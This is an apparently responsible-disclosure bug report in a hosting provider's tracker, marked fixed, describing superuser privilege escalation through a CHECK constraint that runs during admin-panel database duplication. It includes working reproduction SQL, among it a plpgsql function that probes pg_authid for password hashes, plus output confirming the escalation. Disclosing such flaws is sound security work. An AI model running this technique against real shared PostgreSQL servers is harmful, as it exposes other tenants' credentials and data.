Security vulnerabilities

  • Status Closed
  • Assigned To
    cbay
  • Private
Attached to Project: Security vulnerabilities
Opened by Siddharthsharma9449 - 19.11.2026
Last edited by cbay - 30.11.2026

FS#561 - Superuser Privilege Escalation via CHECK Constraint During Database Duplication

Summary

The database duplication feature in the admin panel runs pg_restore as the _root superuser. During the copy, CHECK constraints re-execute user-defined functions with superuser privileges. This allows any free-tier customer to execute arbitrary SQL as superuser, including reading pg_authid (password hashes for all ~29,845 roles on the shared PostgreSQL server).

Steps to Reproduce


1. Create a PostgreSQL database

Admin Panel → Databases → PostgreSQL → Add a database
Name: (your database name, e.g. <your_account>_poc)
Set your user permission to: ALL
→ Submit

2. Set a password on your PostgreSQL user

Admin Panel → Databases → PostgreSQL → Users tab → click your username
Set a password → Submit

3. Enable SSH access

Admin Panel → Remote access → SSH → click ⚙️ gear icon on your user
Set a password → Submit

4. Open the web SSH terminal

Open: https://ssh-<your_account>.alwaysdata.net
Login with your SSH username and password

5. Connect to your database via psql

psql -h postgresql-<your_account>.alwaysdata.net -U <your_username> -d <your_database_name>
Enter your PostgreSQL user password (from Step 2). Wait for the => prompt before continuing.

6.(Paste one at a time, press Enter, wait for confirmation)

6a — Evidence table:

CREATE TABLE public.poc_exfil (ts timestamptz DEFAULT now(), who name DEFAULT current_user, src text, data text);

Wait for: CREATE TABLE

6b — Function that records execution context:

CREATE FUNCTION public.poc_check(x int) RETURNS boolean LANGUAGE plpgsql AS $$ DECLARE cnt int; BEGIN INSERT INTO public.poc_exfil(src,data) SELECT 'identity', current_user||' | super='||rolsuper FROM pg_roles WHERE rolname=current_user; BEGIN SELECT count(*) INTO cnt FROM pg_authid; INSERT INTO public.poc_exfil(src,data) VALUES ('total_roles', cnt::text); SELECT count(*) INTO cnt FROM pg_authid WHERE rolpassword IS NOT NULL; INSERT INTO public.poc_exfil(src,data) VALUES ('roles_with_passwords', cnt::text); EXCEPTION WHEN insufficient_privilege THEN INSERT INTO public.poc_exfil(src,data) VALUES ('pg_authid_access','DENIED: '||SQLERRM); END; RETURN true; END $$;

Wait for: CREATE FUNCTION

6c — Table with CHECK constraint that calls the function:

CREATE TABLE public.poc_trig (x int CHECK (public.poc_check(x)));

Wait for: CREATE TABLE

6d — Trigger baseline execution:

INSERT INTO poc_trig VALUES (1);

Wait for: INSERT 0 1

7. Verify baseline 

SELECT * FROM poc_exfil ORDER BY ts;

Expected — normal user, no superuser access:
 who       | src              | data
-----------+------------------+-----------------------------------------------
 your_user | identity         | your_user | super=false
 your_user | pg_authid_access | DENIED: permission denied for table pg_authid
(2 rows)

8. Exit psql

\q

9. Duplicate the database via admin panel

Admin Panel → Databases → PostgreSQL
Click the duplicate icon (⧉) on your database
Recipient account: select your account
Name: (any new name, e.g. <your_account>_poc_copy)
→ Submit
Wait for the copy to appear in the database list

10. Connect to the copied database

psql -h postgresql-<your_account>.alwaysdata.net -U <your_username> -d <your_copy_database_name>

11. Verify privilege escalation 

SELECT * FROM poc_exfil ORDER BY ts;

Actual result — superuser execution confirmed:
 who       | src                  | data
-----------+----------------------+-----------------------------------------------
 your_user | identity             | your_user | super=false
 your_user | pg_authid_access     | DENIED: permission denied for table pg_authid
 _root     | identity             | _root | super=true
 _root     | total_roles          | 29861
 _root     | roles_with_passwords | 29845
(5 rows)

🔴 Rows 3–5 were inserted by _root (superuser) during the duplication.

Impact

- Arbitrary SQL execution as superuser on the shared PostgreSQL server
- Full read access to pg_authid — password hashes for all ~29,845 users across the platform
- Cross-tenant database access — read/write any customer's database on the same server
- System catalog modification — create roles, grant privileges, or escalate further

Closed by  cbay
30.11.2026 11:04
Reason for closing:  Fixed

Hi, Please fix this as soon as possible, because this is critical.

Admin
cbay commented on 26.11.2026 15:45

Hello,

Can you verify that the vulnerability is fixed?

Kind regards,
Cyril

Hi, I have checked, It is fixed. Can I claim reward?

Admin
cbay commented on 26.11.2026 16:15

Thanks!

Yes, you can claim your bounty by opening a support ticket.

Loading...

Available keyboard shortcuts

Tasklist

Task Details

Task Editing